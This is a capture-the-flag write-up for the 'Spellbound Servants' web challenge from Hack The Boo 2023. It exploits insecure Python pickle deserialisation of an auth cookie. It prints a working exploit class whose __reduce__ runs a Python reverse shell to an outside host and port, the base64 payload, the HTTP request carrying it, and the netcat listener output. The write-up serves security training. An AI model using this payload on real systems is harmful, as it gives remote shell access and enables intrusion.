Spellbound Servants
Challenge
- CTF: Hack The Boo 2023 - Practice
- Name: Spellbound Servants
- Category: Web
- Difficulty: Easy
- Points: 375
- Description: A sinister website lurks in the depth of internet, offering nefarious users a chance to enslave spectral entities as their servants. Can you help us taking it down and saving the halloween?
- Objective: Python Pickle Deserialisation
Files
Download: web_spellbound_servants.zip
Writeup
Let’s spin up the docker image of the web and set up our static-code analysis IDE:
code .
sudo ./build-docker.sh
Browsing to the local webpage: http://127.0.0.1:1337/, we are greeted with a login page:

Registering and Logging in with test:test was successful and we are then greeted with a welcome page:

Using the Snyk VSCode extension, it was able to immediately identify a vulnerability in the auth cookie loader in util.py:

The flagged sink is the base64-encoded auth cookie being fed straight into pickle.loads when the session is loaded. Python’s pickle reconstructs an object by invoking whatever callable that object’s __reduce__ method returns, so an attacker-controlled cookie can carry an object whose __reduce__ returns (os.system, (cmd,)) — the instant the server unpickles it, cmd runs. We exploit exactly that:
import pickle
from base64 import b64encode
import os
class RCE:
def __reduce__(self):
cmd = f"""python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("172.17.0.1",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'"""
return os.system, (cmd,)
# Generate pickled RCE
encoded = b64encode(pickle.dumps(RCE())).decode()
print(encoded)
gASVAQEAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjOZweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2Vzcyxvczsgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoIjE3Mi4xNy4wLjEiLDQ0NDQpKTsgb3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTsgcD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7J5SFlFKULg==
Let’s replace the auth cookie with the generated RCE pickling payload above and send the request to /home:
GET /home HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: auth=gASVAQEAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjOZweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2Vzcyxvczsgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoIjE3Mi4xNy4wLjEiLDQ0NDQpKTsgb3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTsgcD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7J5SFlFKULg==
The reverse shell comes back as shown below:
nc -nlvp 4444
/app # cat /flag.txt
HTB{F4K3_Fl4G_F0R_T35T1NG}
Spinning up a docker instance and sending a payload with updated ngrok IP/Port numbers, we can then obtain the real flag.
nc -nlvp 4444
/app # cat /flag.txt
HTB{P1CkL3_15_f0R_SUP3R555!}
Flag: HTB{P1CkL3_15_f0R_SUP3R555!}